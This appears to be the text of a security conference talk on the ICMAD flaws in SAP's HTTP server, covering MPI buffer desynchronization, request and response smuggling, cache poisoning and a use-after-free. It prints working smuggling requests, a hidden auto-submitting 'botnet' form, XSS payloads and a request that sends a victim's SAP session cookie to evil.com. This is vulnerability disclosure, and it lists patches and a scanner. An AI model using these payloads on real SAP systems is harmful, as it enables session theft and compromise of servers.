Internal Server Error:
Exploiting Inter-Process Communication in
SAP's HTTP Server

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SAP ERP

- **Business Processes** software
  - **Operations**
  - **Financials**
  - **Human Capital**
  - **Customer Relationship**
  - **Supply Chain**

- Over 400,000+ Customers (90% Fortune-500)

- Based on Web Services through HTTP (Java and ABAP)

- Proprietary HTTP Server: **Internet Communication Manager**

https://meritotech.com/wp-content/uploads/2022/01/SAP-Imag.jpg

Internet Communication Manager

- Handles all communication of the SAP System with its clients and the outside world

- Protocols: **HTTP**, P4, IIOP, SMTP and others

- HTTP present by default in all SAP installations (Java, ABAP, WebDispatcher, S/4Hana)

ICM HTTP WorkFlow

CLIENT

HTTP Request

ICM Worker Thread

HTTP Parser

HTTP Handlers

HTTP Request

JAVA / ABAP Process

ICM Memory Pipes

- MPI is an API/Framework to support exchange of data between ICM and Java/ABAP process

- Requests/Responses are placed in **Shared Memory** and accessed using MPI pointers

- MPI Buffers are fixed size (2^16 by default) and are reserved and freed by a Worker Thread

ICM HTTP WorkFlow

- MPI is an API/Framework to support exchange of data between ICM and Java/ABAP process

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ICM HTTP WorkFlow

- MPI is an API/Framework to support exchange of data between ICM and Java/ABAP process

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- MPI Buffers are fixed size (2^16 by default) and are reserved and freed by a Worker Thread

ICM HTTP Handlers

- **Method** and **URL** determines which Internal Handlers will be called

- When a Handler generates a Response, all others are removed.

Internal Handlers

Cache Handler

Admin Handler

Authentication Handler

**Modification Handler**

File Access Handler

Redirect Handler

JAVA Handler   **ABAP Handler**

Functions		
Function name	Segment	St
HttpJ2EE2Handler(H...	.text	0(
HttpFileAccessHandl...	.text	0(
HttpFilterHandler(H...	.text	0(
HttpRedirectHandler...	.text	0(
HttpTestHandler(HT...	.text	0(
HttpAdmHandler(HT...	.text	0(
HttpLogHandler(HTT...	.text	0(
HttpSAPR3Handler(...	.text	0(
HttpAuthHandler(HT...	.text	0(
HttpCacheHandler(H...	.text	0(
HttpModHandler(HT...	.text	0(

ICM Internal Handlers

Admin Handler

HTTP/1.1 OK 200
....

I/O Handler

HTTP/1.1 OK 200
....

ICM WT

Java / ABAP

Shared Memory

| GET **/sap/admin** | Free MPI Buffer | Free MPI Buffer |
| Free MPI Buffer | Free MPI Buffer | Free MPI Buffer |

Multi-Buffer Messages

- What if an HTTP Message is bigger than a fixed size MPI Buffer (65455)?

- Internal Handlers only need headers (smaller than 65K)

# Multi-Buffer Messages


```
.text:00000000005BAEF5 loc_5BAEF5:
.text:00000000005BAEF5 mov     esi, [rbx+0A0h]
.text:00000000005BAEFB mov     r9, [rbp+var_78]
.text:00000000005BAEFF mov     rdx, r14
.text:00000000005BAF02 mov     r8, [rbp+var_88]
.text:00000000005BAF09 mov     rcx, [rbp+var_80]
.text:00000000005BAF0D mov     rdi, rbx
.text:00000000005BAF10 call    MpiIFreeBuffer
.text:00000000005BAF15 test    r13d, r13d
.text:00000000005BAF18 jnz     short loc_5BAEC3
```

```
139982723901184] MPI<85148>9#10 Cancel 7 -> MPI_OK
139982723901184] MpiIFreeAllBuffers(): free df3388
139982723901184] MPI<85148>9#12 Delete( 9 ) -> MPI_OK
```

I/O Handler

HTTP/1.1 OK 200 ....

ICM WT

Java / ABAP

HTTP/1.1 OK

Java/ABAP Handler

Shared Memory

| REQ first ~ 2^16	HTTP/1.1 OK	Free MPI Buffer
Rest of REQ	Free MPI Buffer	Free MPI Buffer

Multi-Buffer Messages

```
.text:00000000005BAEF5 loc_5BAEF5:
.text:00000000005BAEF5 mov      esi, [rbx+0A0h]
.text:00000000005BAEFB mov      r9, [rbp+var_78]
.text:00000000005BAEFF mov      rdx, r14
.text:00000000005BAF02 mov      r8, [rbp+var_88]
.text:00000000005BAF09 mov      rcx, [rbp+var_80]
.text:00000000005BAF0D mov      rdi, rbx
.text:00000000005BAF10 call     MpiIFreeBuffer
.text:00000000005BAF15 test     r13d, r13d
.text:00000000005BAF18 jnz      short loc_5BAEC3
```

```
139982723901184] MPI<85148>9#10 Cancel 7 -> MPI_OK
139982723901184] MpiIFreeAllBuffers(): free df3388
139982723901184] MPI<85148>9#12 Delete( 9 ) -> MPI_OK
```

I/O Handler

HTTP/1.1 OK 200
….

ICM WT

Java / ABAP

Shared Memory		
Free MPI Buffer	Free MPI Buffer	Free MPI Buffer
Free MPI Buffer	Free MPI Buffer	Free MPI Buffer

MPI Desynchronization

Cache Handler

Admin Handler

Java/ABAP Process

HTTP/1.1 OK 200
....

I/O Handler

....
More Request Body
....

ICM WT

Java / ABAP

Shared Memory

REQ first ~ 2^16	Free MPI Buffer	Free MPI Buffer
Free MPI Buffer	Free MPI Buffer	Free MPI Buffer

MPI Desynchronization

Admin Handler

HTTP/1.1 OK 200
….

I/O Handler

….
More Request Body
….

HTTP/1.1 OK 200
….

ICM WT

Java / ABAP

Shared Memory

REQ first ~ 2^16 | Free MPI Buffer | Free MPI Buffer

Free MPI Buffer | Free MPI Buffer | Free MPI Buffer

ICM HTTP Smuggling

- Request is splitted if:

  - Resolved by an **Internal Handler**

  - Size of **body + headers** is greater than 65455

- All Proxies will consider the payload as one isolated Request (RFC compliant)

```
GET /sap/admin/public/default.html HTTP/1.1
Host: SapSystem.com
Content-Lenght: 65417

(A*65370)GET /smuggled HTTP/1.1
Host: SapSystem.com
```

```
GET /some/cached/url HTTP/1.1
Host: SapSystem.com
Padding: <A*65379>
Content-Lenght: 47

GET /smuggled HTTP/1.1
Host: SapSystem.com
```

ICM HTTP Smuggling

- **/nwa** is an App which redirects a user to a login URL. It provides 2 interesting features:
  - Open Redirect: The Host header is used to build the redirect Location.
  - Params reflection: It reflects as query string either the body (POST) or query string (GET)

Request

Pretty | Raw | Hex

```
1 POST /nwa HTTP/1.1
2 Host: AttackersHost.com
3 Content-Type: application/x-www-form-urlencoded
4 Content-Length: 53
5
6 aaaaa;
7 bbbbb:
8 ccccc/
9 ddddd#
10 eeeee?
11 fffff=
12 ggggg
```

Response

Pretty | Raw | Hex | Render

```
1 HTTP/1.1 302 Found
2 server: SAP NetWeaver Application Server 7.53 / AS Java 7.50
3 content-type: text/html
4 location:
  http://AttackersHost.com/webdynpro/resources/sap.com/tc~lm~itsam~ui~mainframe~wd/
  FloorPlanApp?home=true&aaaaa; bbbbb: ccccc/ ddddd# eeeee? fffff= ggggg
5 content-length: 1945
6 date: Mon, 11 Jul 2022 06:33:36 GMT
7
8 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
9 <html>
10   <head>
11     <title>
        302 Found
      </title>
```

ICM HTTP Smuggling

- Hijacking victim's requests and session cookies


```
GET /sap/admin/public/default.html HTTP/1.1
Host: SapSystem.com
Content-Lenght: 65478

(A*65370)POST /nwa HTTP/1.1
Host: evil.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
```

ICM HTTP Smuggling

- Hijacking victim's requests and session cookies


```
HTTP/1.1 200 OK
server: SAP NetWeaver Application Server
content-length: 4497
content-type: text/html
connection: Keep-Alive
...
```

```
POST /nwa HTTP/1.1
Host: evil.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
```

ICM HTTP Smuggling

● Hijacking victim's requests and session cookies


```
GET / HTTP/1.1
Host: SapSystem.com
Cookies:
MYSAPSSO2=secret_SAP_Session123456;
User-Agent: Victim Browser 1.0
Accept: text/html
Accept-Language: en-US,en;q=0.9
...
```

```
POST /nwa HTTP/1.1
Host: evil.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

GET / HTTP/1.1
Host: SapSystem.com
Cookies: MYSAPSSO2=secret_SAP_Session123456;
User-Agent: Victim Browser 1.0
...
```

ICM HTTP Smuggling

- Hijacking victim's requests and session cookies

Response

Pretty   Raw   Hex   Render

```
1 HTTP/1.1 302 Found
2 server: SAP NetWeaver Application Server 7.53 / AS Java 7.50
3 content-type: text/html
4 location: http://evil.com/webdynpro/resources/sap.com/tc~lm~itsam~ui~mainframe~wd/FloorPlanApp?home=true&GET
   / HTTP/1.1  Host: SapSystem.com  Cookies: MYSAPSSO2=secret_SAP_Session123456;  User-Agent: Victi
5 content-length: 2021
6 date: Mon, 11 Jul 2022 07:26:19 GMT
7
8 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
9 <html>
10    <head>
11       <title>
```

ICM HTTP Smuggling

- Hijacking victim's requests and session cookies


```
GET
/webdynpro/resources/sap.com/tc~lm~itsam~ui~mainframe~wd/FloorPl
anApp?home=trueGET%20/%20HTTP/1_1%20%20Host:%20SapSystem.com%20%
20Cookies:%20MYSAPSSO2=secret_SAP_Session123456,%20%20User-Agent:
%20Victi HTTP/1.1
Host: evil.com
Referer: http://SapSystem.com
```

Smuggling Botnet

- Desynchronization does not rely on HTTP headers

- Exploitable through HTML/JS

- DNS Rebinding to send valid custom HTTP headers (HAProxy CVE-2021-40346)

```
<form action="http://SapSystem.com/sap/admin/public/default.html" id="botnet" method="post"
enctype="text/plain" hidden>

  <input type="text" name="padding" value="{A*65357}">

  <textarea name="smuggle" >POST /nwa HTTP/1.1
Host: evil.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
</textarea>

</form>

<script>
window.onload = document.getElementById("botnet").submit();
</script>
```

DEMO:
HTTP Request Smuggling

Proxy Web Cache

Response Smuggling - Arbitrary Cache Poisoning

POST /sap/admin/public/default.html HTTP/1.1
Host: www.SapSys.com
Padding: {A*65KB~}
Content-Length: 160

HEAD /webdynpro/welcome/Welcome.html HTTP/1.1
Host: www.SapSys.com

GET
http://<img%20src=""%20onerror="Alert('XSS')">/nwa
HTTP/1.1
Host: www.SapSys.com

GET /target HTTP/1.1
Host: www.SapSys.com

Response Smuggling - Arbitrary Cache Poisoning

POST /sap/admin/public/default.html HTTP/1.1
Host: www.SapSys.com
Padding: {A*65KB~}
Content-Length: 160

HEAD /webdynpro/welcome/Welcome.html HTTP/1.1
Host: www.SapSys.com

GET
http://<img%20src=""%20onerror="Alert('XSS')">/nwa
HTTP/1.1
Host: www.SapSys.com

GET /target HTTP/1.1
Host: www.SapSys.com

Response Smuggling - Arbitrary Cache Poisoning

HEAD /webdynpro/welcome/Welcome.html HTTP/1.1
Host: www.SapSys.com

GET
http://<img%20src=""%20onerror="Alert('XSS')">/nwa
HTTP/1.1
Host: www.SapSys.com

GET /target HTTP/1.1
Host: www.SapSys.com

Response Smuggling - Arbitrary Cache Poisoning

HEAD /webdynpro/welcome/Welcome.html HTTP/1.1
Host: www.SapSys.com

GET
http://<img%20src=""%20onerror="Alert('XSS')">/nwa
HTTP/1.1
Host: www.SapSys.com

GET /target HTTP/1.1
Host: www.SapSys.com

HTTP/1.1 200 OK
server: SAP NetWeaver Application Server
content-type: text/html
cache-control: max-age=604800
content-length: 3381

Response Smuggling - Arbitrary Cache Poisoning

GET
http://<img%20src=""%20onerror="Alert('XSS')">/nwa
HTTP/1.1
Host: www.SapSys.com

GET /target HTTP/1.1
Host: www.SapSys.com

HTTP/1.1 200 OK
server: SAP NetWeaver Application Server
content-type: text/html
cache-control: max-age=604800
content-length: 3381

HTTP/1.1 302 Found
server: SAP NetWeaver Application Server
location: http://<img src=""
onerror="Alert(XSS)">/webdynpro/resources/sap.com/tc~lm~itsam~ui~mainframe~wd/FloorPlanApp?home=true

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">...

Response Smuggling - Arbitrary Cache Poisoning

GET /target HTTP/1.1
Host: www.SapSys.com

HTTP/1.1 200 OK
server: SAP NetWeaver Application Server
content-type: text/html
cache-control: max-age=604800
content-length: 3381

HTTP/1.1 302 Found
server: SAP NetWeaver Application Server
location: http://**<img src=""
onerror="Alert(XSS)">**/webdynpro/resources/sap.com/tc~lm~itsam~ui~mainframe~wd/FloorPlanApp?home=true

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">...

Response Smuggling - Arbitrary Cache Poisoning

GET /target HTTP/1.1
Host: www.SapSys.com

HTTP/1.1 200 OK
server: SAP NetWeaver Application Server
content-type: text/html
cache-control: max-age=604800
content-length: 3381

HTTP/1.1 302 Found
server: SAP NetWeaver Application Server
location: http://**<img src=""
onerror="Alert(XSS)">**/webdynpro/resources/sap.c
om/tc~lm~itsam~ui~mainframe~wd/FloorPlanApp?ho
me=true

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0
Transitional//EN">...

…

Response Smuggling - Arbitrary Cache Poisoning

GET /target HTTP/1.1
Host: www.SapSys.com

HTTP/1.1 200 OK
server: SAP NetWeaver Application Server
content-type: text/html
cache-control: max-age=604800
content-length: 3381

HTTP/1.1 302 Found
server: SAP NetWeaver Application Server
location: http://**<img src=""**
onerror="Alert(XSS)">/webdynpro/resources/sap.c
om/tc~lm~itsam~ui~mainframe~wd/FloorPlanApp?ho
me=true

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0
Transitional//EN">...

…

Response Smuggling - Arbitrary Cache Poisoning

GET /target HTTP/1.1
Host: www.SapSys.com

Response Smuggling - Arbitrary Cache Poisoning

GET /target HTTP/1.1
Host: www.SapSys.com

HTTP/1.1 200 OK
server: SAP NetWeaver Application Server
content-type: text/html
cache-control: max-age=604800
content-length: 3381

HTTP/1.1 302 Found
server: SAP NetWeaver Application Server
location: http://**<img src=""**
onerror="Alert(XSS)">/webdynpro/resources/sap.c
om/tc~lm~itsam~ui~mainframe~wd/FloorPlanApp?ho
me=true

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0
Transitional//EN">...

…

DEMO:
HTTP Response Smuggling

MPI Buffers

- Multi-Purpose shared memory buffers used to store:
  - HTTP Requests
  - HTTP Responses
  - Out Of Bounds data
- Each Worker Thread have a <u>Linked List</u> of MPI Buffer pointers (one for each purpose)

80 bytes	65456 bytes	
HEADER	HTTP DATA	0x00

MPI Request Buffers ➤

| POST / HTTP/1.1 | → | GET /other HTTP/1.1 |

ICM - HTTP Pipelining

- SAP ICM Java by default accepts Pipelined Requests using different MPI Buffers

ICM - HTTP Pipelining

- SAP ICM Java by default accepts Pipelined Requests using different MPI Buffers

ICM - HTTP Pipelining

- SAP ICM Java by default accepts Pipelined Requests using different MPI Buffers

MPI Use After Free: CVE-2022-22532

MpiIFreeAllBuffers

```
139982723901184]  MPI<85148>9#10 Cancel 7 -> MPI_OK
139982723901184]  MpiIFreeAllBuffers(): free df3388
139982723901184]  MPI<85148>9#12 Delete( 9 ) -> MPI_OK
```

I/O Handler

ICM WT

Java Process

Shared Memory

| GET /1 HTTP/1.1 | Free MPI Buffer | Free MPI Buffer |
| Body + GET /2 | GET /2 HTTP/1.1 | Free MPI Buffer |

MPI Request Buffers

GET /2 HTTP/1.1 → GET /2 HTTP/1.1

MpiIFreeAllBuffers

```
B00] flush buffer with mpi buffer id 192
B00] stale MPI handle. 4d50494d 8529c != 4d50494d 8529f
B00] MPI<8529c>0#0 FlushOutbuf 192 0 0 0 149 6 -> (nil) MPI_ESTALE: outdated MPI handle
B00] *** ERROR => IcmPlFlushBuf: IcmMpiFlushOutbuf(c0) failed: 14(MPI_ESTALE: outdated MPI handle)
B00] IcmLowOnBlocks: mpi buffer space free (cur/limit/unreserved): 0/1522/1903
```

I/O Handler

ICM WT — **ERROR** → **Java Process**

Shared Memory

Free MPI Buffer	Free MPI Buffer	Free MPI Buffer
Free MPI Buffer	Free MPI Buffer	Free MPI Buffer

GET /2 HTTP/1.1

MPI Request Buffers →

GET /2 HTTP/1.1

MpiIFreeAllBuffers() does <u>NOT</u> delete references

MPI Use After Free - Write After Free

- When a request is sent incomplete, the ICM will wait for more data
  - No double CR-LB characters are found
  - Body shorter than Message-Length header

- Worker Thread is set to READ mode

- When more data arrives the Worker Thread writes the MPI Buffer

- The offset of the last byte (NULL) is stored by the Worker Thread to know where to write

MPI Use After Free - Write After Free

MPI Buffer

```
[x00]
```

OFFSET: 0

READ

ICM WT
I/O Handler

GET / HTTP/1.1
Hos

ICM WT

Java Process

Shared Memory

MPI Buffer	Free MPI Buffer	Free MPI Buffer
Free MPI Buffer	Free MPI Buffer	Free MPI Buffer

MPI Use After Free - Write After Free

MPI Buffer

```
GET / HTTP/1.1\r\n
Hos[x00]
```

OFFSET: 19

PARSE

ICM WT
I/O Handler

ICM WT

Java Process

t: SapSys.com
Content-Length: 0

Shared Memory

GET / HTTP/1.1	Free MPI Buffer	Free MPI Buffer
Free MPI Buffer	Free MPI Buffer	Free MPI Buffer

MPI Use After Free - Write After Free

MPI Buffer

```
GET / HTTP/1.1\r\n
Host: SapSys.com\r\n
Content-Length: 0\r\n
\r\n[x00]
```

OFFSET: 55

**ICM WT
I/O Handler**

HANDLE

ICM WT

Java Process

Shared Memory

GET / HTTP/1.1	Free MPI Buffer	Free MPI Buffer
Free MPI Buffer	Free MPI Buffer	Free MPI Buffer

Smuggling without a Proxy

MPI Buffer

x[x00]

WT 1 OFFSET: 1   WT 2 OFFSET: 0

READ

ICM WT 1

ICM WT 1
I/O Handler

Java Process

Shared Memory

Free MPI Buffer | Free MPI Buffer | x

ICM WT 2
I/O Handler

GET / HTTP/1.1
Host: SapSys.com
....

ICM WT 2

Smuggling without a Proxy

MPI Buffer

```
GET / HTTP/1.1\r\n
Host: SapSys.com\r\n
Content-Length: 0\r\n
\r\n[x00]
```

WT 1 OFFSET: 1   WT 2 OFFSET: 55

ICM WT 1
I/O Handler

ET /otherURL
HTTP/1.1
Host: SapSys.com

READ

ICM WT 1

Java Process

Shared Memory

| Free MPI Buffer | Free MPI Buffer | GET / HTTP/1.1 |

ICM WT 2
I/O Handler

ICM WT 2

Smuggling without a Proxy

- Steps:

    a. Attacker **hijack** MPI Buffer

    b. Victim **place request** in hijacked buffer

    c. Attacker **tamper** Victim's request

    d. Victim receives **malicious response**

- Same HTTP Smuggling exploitation

- No proxy is required, but less reliable

- Multi-Purpose Buffers… Requests or Response?

Response Tampering

MPI Buffer

```
X[x00]
```

WT 1 OFFSET: 1   WT 2 OFFSET: 0

READ

ICM WT 1

ICM WT 1
I/O Handler

Shared Memory

Free MPI Buffer | GET /A HTTP/1.1 | MPI Buffer

X

Java Process

HTTP/1.1 200 OK

Response for **A**

ICM WT 2
I/O Handler

ICM WT 2

ICM Arbitrary Cache Poisoning

MPI Buffer

```
HTTP 200 OK\r\n
Sap-Cache-Control: Max-Age=100\r\n
Content-Length: 25\r\n
\r\n
<script>alert(1)</script>[x00]
```

WT 1 OFFSET: 88   **WT 2 OFFSET: 53**

ICM WT 1
I/O Handler

TTP 200 OK
Sap-Cache-Control: …
Content-Length: 25

<script>alert(1)</script>

ICM WT 1

Java Process

Shared Memory

| Free MPI Buffer | GET /A HTTP/1.1 | HTTP/1.1 200 OK |

ICM WT 2
I/O Handler

HTTP/1.1 200 OK

ICM WT 2

Response Parser

Cache Handler

```
lea     rsi, cs:783CDBh ; "sap-cache-control"
mov     edx, 11h
mov     rdi, r13
call    IctHttpGetExtFieldByRawName
test    rax, rax
mov     r14, rax
jnz     loc_56699C
```

IscIWriteResponseToCache(I((Synchronized

ICM Arbitrary Cache Poisoning

- Steps:

  a. Attacker_1 **hijack** MPI Buffer

  b. Attacker_2 place **target request** in hijacked buffer

  c. Java generates **response** for Attacker_2

  d. Attacker_1 **tampers** response

  e. ICM stores response in **internal cache**

- Multiple HTTP connections to hijack more MPI Buffers

- A successful attack persists malicious response

...	Payload	Status ∨	Error	Timeout	Length
...	null	202	☐	☐	10525
...	null	202	☐	☐	10525
...	null	202	☐	☐	10525
...	null	202	☐	☐	10525
...	null	202	☐	☐	10525
...	null	202	☐	☐	10525
...	null	202	☐	☐	10525
...	null	202	☐	☐	10525
...	null	202	☐	☐	10525
...	null	202	☐	☐	10525
...	null	202	☐	☐	10525
...	null	202	☐	☐	10525
...	null	202	☐	☐	10525
...	null	202	☐	☐	10525
0		200			10525
1	null	200			10525
2	null	200			10525

Request   Response

Pretty   Raw   Hex   Render

```
1 HTTP/1.1 202 Ok
2 sap-cache-control:max-age=10000
3 content-length: 100
4
5 .50
6 Content-Type: text/html;
  charset=ISO-8859-1
7 Content-Length: 10340
8 Date: Thu, 14 Jul 2022 17:43:23 GMT
9
```

DEMO:
MPI Use After Free

RCE - OOB Use After Free

- Out Of Bound (OOB) MPI Buffers transfer information about the request

- Request and Response MPI Buffer pointers are communicated through OOB

- Read memory by modifying Response MPI pointers
    - Generate response
    - Tamper OOB Buffer
    - Replace response Buffer with target address
    - Read up to 65KB of arbitrary ICM memory

- Tamper function pointers on OOB Buffers
    - Guess memory layout by reading ICM memory
    - Find ROP gadget to write near stack
    - Load registers and Ret2Libc (system)

RCE - Cache Tampering

- Hijacking OOB Buffers is not reliable (operates too fast)

- Tampering OOB Buffers crashes the ICM (MPIfreeBuffer fails)

- Other option? Tamper internal Cache

- Internal Cache stores Responses with a file header (Length, Encoding, body offset, …)

ICM Cache Buffer Overflow

ICM WT I/O Handler

GET /**A** HTTP/1.1 ...

ICM WT

Req Cache Handler

HEAP Buffer Overflow

ICM Web Cache

/A

Corrupt

Cache File

Length: 85 | **GZ**: 0 | **Body**: 71

HTTP 200 OK
Sap-Cache-Control: Max-Age=100
Content-Length: 25

<script>alert(1)</script>[x00]

Solutions

- CVE-2022-22536: CVSS 10 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

- CVE-2022-22532: CVSS 8.1 (AV:N/**AC:H**/PR:N/UI:N/**S:U**/C:H/I:H/A:H)

- SAP Netweaver (Java and ABAP), S/4Hana, WebDispatcher… any SAP Installation

- **SAP Security Notes: 3123396 & 3123427**

- **Manual Workaround implemented at Netweaver and WebDispatcher**

- Detection Tool https://github.com/Onapsis/onapsis_icmad_scanner

Conclusions

- HTTP Servers as a target
  - Reverse Engineer with RFC in mind
  - Similar functions and workflow
  - Identify Requests and Responses in memory

- Escalate low level vulnerabilities with HTTP exploitation
  - Complex architectures with multiple internal Parsers
  - Not based on "invalid" HTTP headers
  - DNS Rebinding to bypass VPNs (botnet)

- ICMAD addressed by CISA:
  - Critical impact
  - All SAP installations affected
  - Accessible through most exposed service (HTTP/S)

CYBERSECURITY & INFRASTRUCTURE SECURITY AGENCY
CISA

VULNERABILITY RISK
CRITICAL

Questions?